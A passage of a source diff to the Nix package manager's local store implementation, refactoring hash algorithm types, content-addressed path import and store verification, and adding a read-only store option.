LocalStore::registerValidPaths(const ValidPathInfos & infos) { +#ifndef _WIN32 /* SQLite will fsync by default, but the new valid paths may not be fsync-ed. So some may want to fsync them before registering the validity, at the expense of some speed of the path registering operation. */ if (settings.syncBeforeRegistering) sync(); +#endif return retrySQLite([&]() { auto state(_state.lock()); @@ -1189,7 +1014,7 @@ void LocalStore::registerValidPaths(const ValidPathInfos & infos) StorePathSet paths; for (auto & [_, i] : infos) { - assert(i.narHash.type == htSHA256); + assert(i.narHash.algo == HashAlgorithm::SHA256); if (isValidPath_(*state, i.path)) updatePathInfo(*state, i); else @@ -1209,8 +1034,7 @@ void LocalStore::registerValidPaths(const ValidPathInfos & infos) for (auto & [_, i] : infos) if (i.path.isDerivation()) { // FIXME: inefficient; we already loaded the derivation in addValidPath(). - checkDerivationOutputs(i.path, - readInvalidDerivation(i.path)); + readInvalidDerivation(i.path).checkInvariants(*this, i.path); } /* Do a topological sort of the paths. This will throw an @@ -1275,6 +1099,19 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, if (checkSigs && pathInfoIsUntrusted(info)) throw Error("cannot add path '%s' because it lacks a signature by a trusted key", printStorePath(info.path)); + /* In case we are not interested in reading the NAR: discard it. */ + bool narRead = false; + Finally cleanup = [&]() { + if (!narRead) { + NullFileSystemObjectSink sink; + try { + parseDump(sink, source); + } catch (...) { + ignoreException(); + } + } + }; + addTempRoot(info.path); if (repair || !isValidPath(info.path)) { @@ -1295,50 +1132,62 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, /* While restoring the path from the NAR, compute the hash of the NAR. */ - HashSink hashSink(htSHA256); + HashSink hashSink(HashAlgorithm::SHA256); TeeSource wrapperSource { source, hashSink }; + narRead = true; restorePath(realPath, wrapperSource, settings.fsyncStorePaths); auto hashResult = hashSink.finish(); if (hashResult.first != info.narHash) throw Error("hash mismatch importing path '%s';\n specified: %s\n got: %s", - printStorePath(info.path), info.narHash.to_string(Base32, true), hashResult.first.to_string(Base32, true)); + printStorePath(info.path), info.narHash.to_string(HashFormat::Nix32, true), hashResult.first.to_string(HashFormat::Nix32, true)); if (hashResult.second != info.narSize) throw Error("size mismatch importing path '%s';\n specified: %s\n got: %s", printStorePath(info.path), info.narSize, hashResult.second); if (info.ca) { - if (auto foHash = std::get_if(&*info.ca)) { - auto actualFoHash = hashCAPath( - foHash->method, - foHash->hash.type, - info.path - ); - if (foHash->hash != actualFoHash.hash) { - throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s", - printStorePath(info.path), - foHash->hash.to_string(Base32, true), - actualFoHash.hash.to_string(Base32, true)); + auto & specified = *info.ca; + auto actualHash = ({ + auto accessor = getFSAccessor(false); + CanonPath path { printStorePath(info.path) }; + Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ + auto fim = specified.method.getFileIngestionMethod(); + switch (fim) { + case FileIngestionMethod::Flat: + case FileIngestionMethod::NixArchive: + { + HashModuloSink caSink { + specified.hash.algo, + std::string { info.path.hashPart() }, + }; + dumpPath({accessor, path}, caSink, (FileSerialisationMethod) fim); + h = caSink.finish().first; + break; } - } - if (auto textHash = std::get_if(&*info.ca)) { - auto actualTextHash = hashString(htSHA256, readFile(realPath)); - if (textHash->hash != actualTextHash) { - throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s", - printStorePath(info.path), - textHash->hash.to_string(Base32, true), - actualTextHash.to_string(Base32, true)); + case FileIngestionMethod::Git: + h = git::dumpHash(specified.hash.algo, {accessor, path}).hash; + break; } + ContentAddress { + .method = specified.method, + .hash = std::move(h), + }; + }); + if (specified.hash != actualHash.hash) { + throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s", + printStorePath(info.path), + specified.hash.to_string(HashFormat::Nix32, true), + actualHash.hash.to_string(HashFormat::Nix32, true)); } } autoGC(); - canonicalisePathMetaData(realPath, {}); + canonicalisePathMetaData(realPath); optimisePath(realPath, repair); // FIXME: combine with hashPath() @@ -1355,8 +1204,14 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, } -StorePath LocalStore::addToStoreFromDump(Source & source0, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) +StorePath LocalStore::addToStoreFromDump( + Source & source0, + std::string_view name, + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) { /* For computing the store path. */ auto hashSink = std::make_unique(hashAlgo); @@ -1370,7 +1225,11 @@ StorePath LocalStore::addToStoreFromDump(Source & source0, std::string_view name path. */ bool inMemory = false; - std::string dump; + struct Free { + void operator()(void* v) { free(v); } + }; + std::unique_ptr dumpBuffer(nullptr); + std::string_view dump; /* Fill out buffer, and decide whether we are working strictly in memory based on whether we break out because the buffer is full @@ -1379,13 +1238,18 @@ StorePath LocalStore::addToStoreFromDump(Source & source0, std::string_view name auto oldSize = dump.size(); constexpr size_t chunkSize = 65536; auto want = std::min(chunkSize, settings.narBufferSize - oldSize); - dump.resize(oldSize + want); + if (auto tmp = realloc(dumpBuffer.get(), oldSize + want)) { + dumpBuffer.release(); + dumpBuffer.reset((char*) tmp); + } else { + throw std::bad_alloc(); + } auto got = 0; Finally cleanup([&]() { - dump.resize(oldSize + got); + dump = {dumpBuffer.get(), dump.size() + got}; }); try { - got = source.read(dump.data() + oldSize, want); + got = source.read(dumpBuffer.get() + oldSize, want); } catch (EndOfFile &) { inMemory = true; break; @@ -1393,30 +1257,47 @@ StorePath LocalStore::addToStoreFromDump(Source & source0, std::string_view name } std::unique_ptr delTempDir; - Path tempPath; - Path tempDir; + std::filesystem::path tempPath; + std::filesystem::path tempDir; AutoCloseFD tempDirFd; - if (!inMemory) { + bool methodsMatch = static_cast(dumpMethod) == hashMethod.getFileIngestionMethod(); + + /* If the methods don't match, our streaming hash of the dump is the + wrong sort, and we need to rehash. */ + bool inMemoryAndDontNeedRestore = inMemory && methodsMatch; + + if (!inMemoryAndDontNeedRestore) { /* Drain what we pulled so far, and then keep on pulling */ StringSource dumpSource { dump }; ChainSource bothSource { dumpSource, source }; std::tie(tempDir, tempDirFd) = createTempDirInStore(); delTempDir = std::make_unique(tempDir); - tempPath = tempDir + "/x"; + tempPath = tempDir / "x"; - if (method == FileIngestionMethod::Recursive) - restorePath(tempPath, bothSource, settings.fsyncStorePaths); - else - writeFile(tempPath, bothSource); + restorePath(tempPath.string(), bothSource, dumpMethod, settings.fsyncStorePaths); - dump.clear(); + dumpBuffer.reset(); + dump = {}; } - auto [hash, size] = hashSink->finish(); + auto [dumpHash, size] = hashSink->finish(); - auto dstPath = makeFixedOutputPath(method, hash, name, references); + auto desc = ContentAddressWithReferences::fromParts( + hashMethod, + methodsMatch + ? dumpHash + : hashPath( + PosixSourceAccessor::createAtRoot(tempPath), + hashMethod.getFileIngestionMethod(), hashAlgo).first, + { + .others = references, + // caller is not capable of creating a self-reference, because this is content-addressed without modulus + .self = false, + }); + + auto dstPath = makeFixedOutputPathFromCA(name, desc); addTempRoot(dstPath); @@ -1435,91 +1316,50 @@ StorePath LocalStore::addToStoreFromDump(Source & source0, std::string_view name autoGC(); - if (inMemory) { - StringSource dumpSource { dump }; - /* Restore from the NAR in memory. */ - if (method == FileIngestionMethod::Recursive) - restorePath(realPath, dumpSource, settings.fsyncStorePaths); - else - writeFile(realPath, dumpSource); + if (inMemoryAndDontNeedRestore) { + StringSource dumpSource { dump }; + /* Restore from the buffer in memory. */ + auto fim = hashMethod.getFileIngestionMethod(); + switch (fim) { + case FileIngestionMethod::Flat: + case FileIngestionMethod::NixArchive: + restorePath(realPath, dumpSource, (FileSerialisationMethod) fim, settings.fsyncStorePaths); + break; + case FileIngestionMethod::Git: + // doesn't correspond to serialization method, so + // this should be unreachable + assert(false); + } } else { /* Move the temporary path we restored above. */ - moveFile(tempPath, realPath); + moveFile(tempPath.string(), realPath); } /* For computing the nar hash. In recursive SHA-256 mode, this is the same as the store hash, so no need to do it again. */ - auto narHash = std::pair { hash, size }; - if (method != FileIngestionMethod::Recursive || hashAlgo != htSHA256) { - HashSink narSink { htSHA256 }; + auto narHash = std::pair { dumpHash, size }; + if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) { + HashSink narSink { HashAlgorithm::SHA256 }; dumpPath(realPath, narSink); narHash = narSink.finish(); } - canonicalisePathMetaData(realPath, {}); // FIXME: merge into restorePath + canonicalisePathMetaData(realPath); // FIXME: merge into restorePath optimisePath(realPath, repair); - ValidPathInfo info { dstPath, narHash.first }; - info.narSize = narHash.second; - info.references = references; - info.ca = FixedOutputHash { .method = method, .hash = hash }; - if (settings.fsyncStorePaths) { recursiveSync(realPath); syncParent(realPath); } - registerValidPath(info); - } - - outputLock.setDeletion(true); - } - - return dstPath; -} - - -StorePath LocalStore::addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, RepairFlag repair) -{ - auto hash = hashString(htSHA256, s); - auto dstPath = makeTextPath(name, hash, references); - - addTempRoot(dstPath); - - if (repair || !isValidPath(dstPath)) { - - auto realPath = Store::toRealPath(dstPath); - - PathLocks outputLock({realPath}); - - if (repair || !isValidPath(dstPath)) { - - deletePath(realPath); - - autoGC(); - - writeFile(realPath, s, 0666, settings.fsyncStorePaths); - - canonicalisePathMetaData(realPath, {}); - - StringSink sink; - dumpString(s, sink); - auto narHash = hashString(htSHA256, sink.s); - - optimisePath(realPath, repair); - - ValidPathInfo info { dstPath, narHash }; - info.narSize = sink.s.size(); - info.references = references; - info.ca = TextHash { .hash = hash }; - - if (settings.fsyncStorePaths) - syncParent(realPath); - + ValidPathInfo info { + *this, + name, + std::move(desc), + narHash.first + }; + info.narSize = narHash.second; registerValidPath(info); } @@ -1532,9 +1372,9 @@ StorePath LocalStore::addTextToStore( /* Create a temporary directory in the store that won't be garbage-collected until the returned FD is closed. */ -std::pair LocalStore::createTempDirInStore() +std::pair LocalStore::createTempDirInStore() { - Path tmpDirFn; + std::filesystem::path tmpDirFn; AutoCloseFD tmpDirFd; bool lockedByUs = false; do { @@ -1542,12 +1382,12 @@ std::pair LocalStore::createTempDirInStore() the GC between createTempDir() and when we acquire a lock on it. We'll repeat until 'tmpDir' exists and we've locked it. */ tmpDirFn = createTempDir(realStoreDir, "tmp"); - tmpDirFd = open(tmpDirFn.c_str(), O_RDONLY | O_DIRECTORY); - if (tmpDirFd.get() < 0) { + tmpDirFd = openDirectory(tmpDirFn); + if (!tmpDirFd) { continue; } lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true); - } while (!pathExists(tmpDirFn) || !lockedByUs); + } while (!pathExists(tmpDirFn.string()) || !lockedByUs); return {tmpDirFn, std::move(tmpDirFd)}; } @@ -1575,44 +1415,34 @@ void LocalStore::invalidatePathChecked(const StorePath & path) bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) { - printInfo(format("reading the Nix store...")); - - bool errors = false; + printInfo("reading the Nix store..."); /* Acquire the global GC lock to get a consistent snapshot of existing and valid paths. */ auto fdGCLock = openGCLock(); FdLock gcLock(fdGCLock.get(), ltRead, true, "waiting for the big garbage collector lock..."); - StringSet store; - for (auto & i : readDirectory(realStoreDir)) store.insert(i.name); - - /* Check whether all valid paths actually exist. */ - printInfo("checking path existence..."); - - StorePathSet validPaths; - PathSet done; - - for (auto & i : queryAllValidPaths()) - verifyPath(printStorePath(i), store, done, validPaths, repair, errors); + auto [errors, validPaths] = verifyAllValidPaths(repair); /* Optionally, check the content hashes (slow). */ if (checkContents) { printInfo("checking link hashes..."); - for (auto & link : readDirectory(linksDir)) { - printMsg(lvlTalkative, "checking contents of '%s'", link.name); - Path linkPath = linksDir + "/" + link.name; - std::string hash = hashPath(htSHA256, linkPath).first.to_string(Base32, false); - if (hash != link.name) { + for (auto & link : std::filesystem::directory_iterator{linksDir}) { + checkInterrupt(); + auto name = link.path().filename(); + printMsg(lvlTalkative, "checking contents of '%s'", name); + PosixSourceAccessor accessor; + std::string hash = hashPath( + PosixSourceAccessor::createAtRoot(link.path()), + FileIngestionMethod::NixArchive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false); + if (hash != name.string()) { printError("link '%s' was modified! expected hash '%s', got '%s'", - linkPath, link.name, hash); + link.path(), name, hash); if (repair) { - if (unlink(linkPath.c_str()) == 0) - printInfo("removed link '%s'", linkPath); - else - throw SysError("removing corrupt link '%s'", linkPath); + std::filesystem::remove(link.path()); + printInfo("removed link '%s'", link.path()); } else { errors = true; } @@ -1621,7 +1451,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) printInfo("checking store hashes..."); - Hash nullHash(htSHA256); + Hash nullHash(HashAlgorithm::SHA256); for (auto & i : validPaths) { try { @@ -1630,14 +1460,14 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) /* Check the content hash (optionally - slow). */ printMsg(lvlTalkative, "checking contents of '%s'", printStorePath(i)); - auto hashSink = HashSink(info->narHash.type); + auto hashSink = HashSink(info->narHash.algo); dumpPath(Store::toRealPath(i), hashSink); auto current = hashSink.finish(); if (info->narHash != nullHash && info->narHash != current.first) { printError("path '%s' was modified! expected hash '%s', got '%s'", - printStorePath(i), info->narHash.to_string(Base32, true), current.first.to_string(Base32, true)); + printStorePath(i), info->narHash.to_string(HashFormat::Nix32, true), current.first.to_string(HashFormat::Nix32, true)); if (repair) repairPath(i); else errors = true; } else { @@ -1680,32 +1510,68 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) } -void LocalStore::verifyPath(const Path & pathS, const StringSet & store, - PathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors) +LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair) +{ + StorePathSet storePathsInStoreDir; + /* Why aren't we using `queryAllValidPaths`? Because that would + tell us about all the paths than the database knows about. Here we + want to know about all the store paths in the store directory, + regardless of what the database thinks. + + We will end up cross-referencing these two sources of truth (the + database and the filesystem) in the loop below, in order to catch + invalid states. + */ + for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) { + checkInterrupt(); + try { + storePathsInStoreDir.insert({i.path().filename().string()}); + } catch (BadStorePath &) { } + } + + /* Check whether all valid paths actually exist. */ + printInfo("checking path existence..."); + + StorePathSet done; + + auto existsInStoreDir = [&](const StorePath & storePath) { + return storePathsInStoreDir.count(storePath); + }; + + bool errors = false; + StorePathSet validPaths; + + for (auto & i : queryAllValidPaths()) + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); + + return { + .errors = errors, + .validPaths = validPaths, + }; +} + + +void LocalStore::verifyPath(const StorePath & path, std::function existsInStoreDir, + StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors) { checkInterrupt(); - if (!done.insert(pathS).second) return; + if (!done.insert(path).second) return; - if (!isStorePath(pathS)) { - printError("path '%s' is not in the Nix store", pathS); - return; - } - - auto path = parseStorePath(pathS); - - if (!store.count(std::string(path.to_string()))) { + if (!existsInStoreDir(path)) { /* Check any referrers first. If we can invalidate them first, then we can invalidate this path as well. */ bool canInvalidate = true; StorePathSet referrers; queryReferrers(path, referrers); for (auto & i : referrers) if (i != path) { - verifyPath(printStorePath(i), store, done, validPaths, repair, errors); + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); if (validPaths.count(i)) canInvalidate = false; } + auto pathS = printStorePath(path); + if (canInvalidate) { printInfo("path '%s' disappeared, removing from database...", pathS); auto state(_state.lock()); @@ -1734,6 +1600,11 @@ unsigned int LocalStore::getProtocol() return PROTOCOL_VERSION; } +std::optional LocalStore::isTrustedClient() +{ + return Trusted; +} + #if defined(FS_IOC_SETFLAGS) && defined(FS_IOC_GETFLAGS) && defined(FS_IMMUTABLE_FL) @@ -1753,8 +1624,12 @@ static void makeMutable(const Path & path) /* The O_NOFOLLOW is important to prevent us from changing the mutable bit on the target of a symlink (which would be a security hole). */ - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW | O_CLOEXEC); - if (fd == -1) { + AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW +#ifndef _WIN32 + | O_CLOEXEC +#endif + ); + if (fd == INVALID_DESCRIPTOR) { if (errno == ELOOP) return; // it's a symlink throw SysError("opening file '%1%'", path); } @@ -1773,7 +1648,7 @@ static void makeMutable(const Path & path) /* Upgrade from schema 6 (Nix 0.15) to schema 7 (Nix >= 1.3). */ void LocalStore::upgradeStore7() { - if (getuid() != 0) return; + if (!isRootUser()) return; printInfo("removing immutable bits from the Nix store (this may take a while)..."); makeMutable(realStoreDir); } @@ -1820,7 +1695,8 @@ void LocalStore::signRealisation(Realisation & realisation) for (auto & secretKeyFile : secretKeyFiles.get()) { SecretKey secretKey(readFile(secretKeyFile)); - realisation.sign(secretKey); + LocalSigner signer(std::move(secretKey)); + realisation.sign(signer); } } @@ -1832,25 +1708,12 @@ void LocalStore::signPathInfo(ValidPathInfo & info) for (auto & secretKeyFile : secretKeyFiles.get()) { SecretKey secretKey(readFile(secretKeyFile)); - info.sign(*this, secretKey); + LocalSigner signer(std::move(secretKey)); + info.sign(*this, signer); } } -void LocalStore::createUser(const std::string & userName, uid_t userId) -{ - for (auto & dir : { - fmt("%s/profiles/per-user/%s", stateDir, userName), - fmt("%s/gcroots/per-user/%s", stateDir, userName) - }) { - createDirs(dir); - if (chmod(dir.c_str(), 0755) == -1) - throw SysError("changing permissions of directory '%s'", dir); - if (chown(dir.c_str(), userId, getgid()) == -1) - throw SysError("changing owner of directory '%s'", dir); - } -} - std::optional> LocalStore::queryRealisationCore_( LocalStore::State & state, const DrvOutput & id) @@ -1925,36 +1788,6 @@ void LocalStore::queryRealisationUncached(const DrvOutput & id, } } -FixedOutputHash LocalStore::hashCAPath( - const FileIngestionMethod & method, const HashType & hashType, - const StorePath & path) -{ - return hashCAPath(method, hashType, Store::toRealPath(path), path.hashPart()); -} - -FixedOutputHash LocalStore::hashCAPath( - const FileIngestionMethod & method, - const HashType & hashType, - const Path & path, - const std::string_view pathHash -) -{ - HashModuloSink caSink ( hashType, std::string(pathHash) ); - switch (method) { - case FileIngestionMethod::Recursive: - dumpPath(path, caSink); - break; - case FileIngestionMethod::Flat: - readFile(path, caSink); - break; - } - auto hash = caSink.finish().first; - return FixedOutputHash{ - .method = method, - .hash = hash, - }; -} - void LocalStore::addBuildLog(const StorePath & drvPath, std::string_view log) { assert(drvPath.isDerivation()); @@ -1971,7 +1804,7 @@ void LocalStore::addBuildLog(const StorePath & drvPath, std::string_view log) writeFile(tmpFile, compress("bzip2", log)); - renameFile(tmpFile, logPath); + std::filesystem::rename(tmpFile, logPath); } std::optional LocalStore::getVersion() @@ -1979,5 +1812,6 @@ std::optional LocalStore::getVersion() return nixVersion; } +static RegisterStoreImplementation regLocalStore; } // namespace nix diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 4579c2f62..a03cfc03b 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -1,13 +1,12 @@ #pragma once +///@file #include "sqlite.hh" #include "pathlocks.hh" #include "store-api.hh" -#include "local-fs-store.hh" -#include "gc-store.hh" +#include "indirect-root-store.hh" #include "sync.hh" -#include "util.hh" #include #include @@ -18,10 +17,14 @@ namespace nix { -/* Nix store and database schema version. Version 1 (or 0) was Nix <= - 0.7. Version 2 was Nix 0.8 and 0.9. Version 3 is Nix 0.10. - Version 4 is Nix 0.11. Version 5 is Nix 0.12-0.16. Version 6 is - Nix 1.0. Version 7 is Nix 1.3. Version 10 is 2.0. */ +/** + * Nix store and database schema version. + * + * Version 1 (or 0) was Nix <= + * 0.7. Version 2 was Nix 0.8 and 0.9. Version 3 is Nix 0.10. + * Version 4 is Nix 0.11. Version 5 is Nix 0.12-0.16. Version 6 is + * Nix 1.0. Version 7 is Nix 1.3. Version 10 is 2.0. + */ const int nixSchemaVersion = 10; @@ -29,58 +32,87 @@ struct OptimiseStats { unsigned long filesLinked = 0; uint64_t bytesFreed = 0; - uint64_t blocksFreed = 0; }; struct LocalStoreConfig : virtual LocalFSStoreConfig { using LocalFSStoreConfig::LocalFSStoreConfig; - Setting requireSigs{(StoreConfig*) this, + LocalStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params); + + Setting requireSigs{this, settings.requireSigs, - "require-sigs", "whether store paths should have a trusted signature on import"}; + "require-sigs", + "Whether store paths copied into this store should have a trusted signature."}; + + Setting readOnly{this, + false, + "read-only", + R"( + Allow this store to be opened when its [database](@docroot@/glossary.md#gloss-nix-database) is on a read-only filesystem. + + Normally Nix will attempt to open the store database in read-write mode, even for querying (when write access is not needed), causing it to fail if the database is on a read-only filesystem. + + Enable read-only mode to disable locking and open the SQLite database with the [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. + + > **Warning** + > Do not use this unless the filesystem is read-only. + > + > Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. + > While the filesystem the database resides on might appear to be read-only, consider whether another user or system might have write access to it. + )"}; const std::string name() override { return "Local Store"; } + + static std::set uriSchemes() + { return {"local"}; } + + std::string doc() override; }; - -class LocalStore : public virtual LocalStoreConfig, public virtual LocalFSStore, public virtual GcStore +class LocalStore : public virtual LocalStoreConfig + , public virtual IndirectRootStore + , public virtual GcStore { private: - /* Lock file used for upgrading. */ + /** + * Lock file used for upgrading. + */ AutoCloseFD globalLock; struct State { - /* The SQLite database object. */ + /** + * The SQLite database object. + */ SQLite db; struct Stmts; std::unique_ptr stmts; - /* The global GC lock */ - AutoCloseFD fdGCLock; - - /* The file to which we write our temporary roots. */ - AutoCloseFD fdTempRoots; - - /* Connection to the garbage collector. */ - AutoCloseFD fdRootsSocket; - - /* The last time we checked whether to do an auto-GC, or an - auto-GC finished. */ + /** + * The last time we checked whether to do an auto-GC, or an + * auto-GC finished. + */ std::chrono::time_point lastGCCheck; - /* Whether auto-GC is running. If so, get gcFuture to wait for - the GC to finish. */ + /** + * Whether auto-GC is running. If so, get gcFuture to wait for + * the GC to finish. + */ bool gcRunning = false; std::shared_future gcFuture; - /* How much disk space was available after the previous - auto-GC. If the current available disk space is below - minFree but not much below availAfterGC, then there is no - point in starting a new GC. */ + /** + * How much disk space was available after the previous + * auto-GC. If the current available disk space is below + * minFree but not much below availAfterGC, then there is no + * point in starting a new GC. + */ uint64_t availAfterGC = std::numeric_limits::max(); std::unique_ptr publicKeys; @@ -103,16 +135,26 @@ private: public: - // Hack for build-remote.cc. + /** + * Hack for build-remote.cc. + */ PathSet locksHeld; - /* Initialise the local store, upgrading the schema if - necessary. */ + /** + * Initialise the local store, upgrading the schema if + * necessary. + */ LocalStore(const Params & params); + LocalStore( + std::string_view scheme, + PathView path, + const Params & params); ~LocalStore(); - /* Implementations of abstract store API methods. */ + /** + * Implementations of abstract store API methods. + */ std::string getUri() override; @@ -130,32 +172,56 @@ public: StorePathSet queryValidDerivers(const StorePath & path) override; - std::map> queryPartialDerivationOutputMap(const StorePath & path) override; + std::map> queryStaticPartialDerivationOutputMap(const StorePath & path) override; std::optional queryPathFromHashPart(const std::string & hashPart) override; StorePathSet querySubstitutablePaths(const StorePathSet & paths) override; - void querySubstitutablePathInfos(const StorePathCAMap & paths, - SubstitutablePathInfos & infos) override; - bool pathInfoIsUntrusted(const ValidPathInfo &) override; bool realisationIsUntrusted(const Realisation & ) override; void addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override; - StorePath addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) override; - - StorePath addTextToStore( + StorePath addToStoreFromDump( + Source & dump, std::string_view name, - std::string_view s, + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, const StorePathSet & references, RepairFlag repair) override; void addTempRoot(const StorePath & path) override; +private: + + void createTempRootsFile(); + + /** + * The file to which we write our temporary roots. + */ + Sync _fdTempRoots; + + /** + * The global GC lock. + */ + Sync _fdGCLock; + + /** + * Connection to the garbage collector. + */ + Sync _fdRootsSocket; + +public: + + /** + * Implementation of IndirectRootStore::addIndirectRoot(). + * + * The weak reference merely is a symlink to `path' from + * /nix/var/nix/gcroots/auto/. + */ void addIndirectRoot(const Path & path) override; private: @@ -170,42 +236,96 @@ public: void collectGarbage(const GCOptions & options, GCResults & results) override; - /* Optimise the disk space usage of the Nix store by hard-linking - files with the same contents. */ + /** + * Called by `collectGarbage` to trace in reverse. + * + * Using this rather than `queryReferrers` directly allows us to + * fine-tune which referrers we consider for garbage collection; + * some store implementations take advantage of this. + */ + virtual void queryGCReferrers(const StorePath & path, StorePathSet & referrers) + { + return queryReferrers(path, referrers); + } + + /** + * Called by `collectGarbage` to recursively delete a path. + * The default implementation simply calls `deletePath`, but it can be + * overridden by stores that wish to provide their own deletion behaviour. + */ + virtual void deleteStorePath(const Path & path, uint64_t & bytesFreed); + + /** + * Optimise the disk space usage of the Nix store by hard-linking + * files with the same contents. + */ void optimiseStore(OptimiseStats & stats); void optimiseStore() override; - /* Optimise a single store path. Optionally, test the encountered - symlinks for corruption. */ + /** + * Optimise a single store path. Optionally, test the encountered + * symlinks for corruption. + */ void optimisePath(const Path & path, RepairFlag repair); bool verifyStore(bool checkContents, RepairFlag repair) override; - /* Register the validity of a path, i.e., that `path' exists, that - the paths referenced by it exists, and in the case of an output - path of a derivation, that it has been produced by a successful - execution of the derivation (or something equivalent). Also - register the hash of the file system contents of the path. The - hash must be a SHA-256 hash. */ +protected: + + /** + * Result of `verifyAllValidPaths` + */ + struct VerificationResult { + /** + * Whether any errors were encountered + */ + bool errors; + + /** + * A set of so-far valid paths. The store objects pointed to by + * those paths are suitable for further validation checking. + */ + StorePathSet validPaths; + }; + + /** + * First, unconditional step of `verifyStore` + */ + virtual VerificationResult verifyAllValidPaths(RepairFlag repair); + +public: + + /** + * Register the validity of a path, i.e., that `path` exists, that + * the paths referenced by it exists, and in the case of an output + * path of a derivation, that it has been produced by a successful + * execution of the derivation (or something equivalent). Also + * register the hash of the file system contents of the path. The + * hash must be a SHA-256 hash. + */ void registerValidPath(const ValidPathInfo & info); - void registerValidPaths(const ValidPathInfos & infos); + virtual void registerValidPaths(const ValidPathInfos & infos); unsigned int getProtocol() override; - void vacuumDB(); + std::optional isTrustedClient() override; - void repairPath(const StorePath & path) override; + void vacuumDB(); void addSignatures(const StorePath & storePath, const StringSet & sigs) override; - /* If free disk space in /nix/store if below minFree, delete - garbage until it exceeds maxFree. */ + /** + * If free disk space in /nix/store if below minFree, delete + * garbage until it exceeds maxFree. + */ void autoGC(bool sync = true); - /* Register the store path 'output' as the output named 'outputName' of - derivation 'deriver'. */ + /** + * Register the store path 'output' as the output named 'outputName' of + * derivation 'deriver'. + */ void registerDrvOutput(const Realisation & info) override; void registerDrvOutput(const Realisation & info, CheckSigsFlag checkSigs) override; void cacheDrvOutputMapping( @@ -221,8 +341,17 @@ public: std::optional getVersion() override; +protected: + + void verifyPath(const StorePath & path, std::function existsInStoreDir, + StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); + private: + /** + * Retrieve the current version of the database schema. + * If the database does not exist yet, the version returned will be 0. + */ int getSchema(); void openDB(State & state, bool create); @@ -235,12 +364,11 @@ private: void invalidatePath(State & state, const StorePath & path); - /* Delete a path from the Nix store. */ + /** + * Delete a path from the Nix store. + */ void invalidatePathChecked(const StorePath & path); - void verifyPath(const Path & path, const StringSet & store, - PathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); - std::shared_ptr queryPathInfoInternal(State & state, const StorePath & path); void updatePathInfo(State & state, const ValidPathInfo & info); @@ -250,15 +378,13 @@ private: PathSet queryValidPathsOld(); ValidPathInfo queryPathInfoOld(const Path & path); - void findRoots(const Path & path, unsigned char type, Roots & roots); + void findRoots(const Path & path, std::filesystem::file_type type, Roots & roots); void findRootsNoTemp(Roots & roots, bool censor); void findRuntimeRoots(Roots & roots, bool censor); - std::pair createTempDirInStore(); - - void checkDerivationOutputs(const StorePath & drvPath, const Derivation & drv); + std::pair createTempDirInStore(); typedef std::unordered_set InodeHash; @@ -270,26 +396,13 @@ private: bool isValidPath_(State & state, const StorePath & path); void queryReferrers(State & state, const StorePath & path, StorePathSet & referrers); - /* Add signatures to a ValidPathInfo or Realisation using the secret keys - specified by the ‘secret-key-files’ option. */ + /** + * Add signatures to a ValidPathInfo or Realisation using the secret keys + * specified by the ‘secret-key-files’ option. + */ void signPathInfo(ValidPathInfo & info); void signRealisation(Realisation &); - void createUser(const std::string & userName, uid_t userId) override; - - // XXX: Make a generic `Store` method - FixedOutputHash hashCAPath( - const FileIngestionMethod & method, - const HashType & hashType, - const StorePath & path); - - FixedOutputHash hashCAPath( - const FileIngestionMethod & method, - const HashType & hashType, - const Path & path, - const std::string_view pathHash - ); - void addBuildLog(const StorePath & drvPath, std::string_view log) override; friend struct LocalDerivationGoal; @@ -298,33 +411,4 @@ private: friend struct DerivationGoal; }; - -typedef std::pair Inode; -typedef std::set InodesSeen; - - -/* "Fix", or canonicalise, the meta-data of the files in a store path - after it has been built. In particular: - - the last modification date on each file is set to 1 (i.e., - 00:00:01 1/1/1970 UTC) - - the permissions are set of 444 or 555 (i.e., read-only with or - without execute permission; setuid bits etc. are cleared) - - the owner and group are set to the Nix user and group, if we're - running as root. - If uidRange is not empty, this function will throw an error if it - encounters files owned by a user outside of the closed interval - [uidRange->first, uidRange->second]. -*/ -void canonicalisePathMetaData( - const Path & path, - std::optional> uidRange, - InodesSeen & inodesSeen); -void canonicalisePathMetaData( - const Path & path, - std::optional> uidRange); - -void canonicaliseTimestampAndPermissions(const Path & path); - -MakeError(PathInUse, Error); - } diff --git a/src/libstore/local-store.md b/src/libstore/local-store.md new file mode 100644 